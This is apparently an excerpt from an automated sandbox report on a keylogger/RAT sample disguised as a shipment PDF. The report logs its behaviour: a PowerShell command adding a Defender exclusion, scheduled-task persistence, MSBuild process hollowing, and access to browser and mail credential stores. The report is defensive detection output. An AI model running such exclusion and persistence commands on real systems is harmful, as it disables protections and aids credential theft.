Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Queries volume information: C:\Users\user\AppData\Roaming\FZcXKpA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7704, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7704, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7704, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
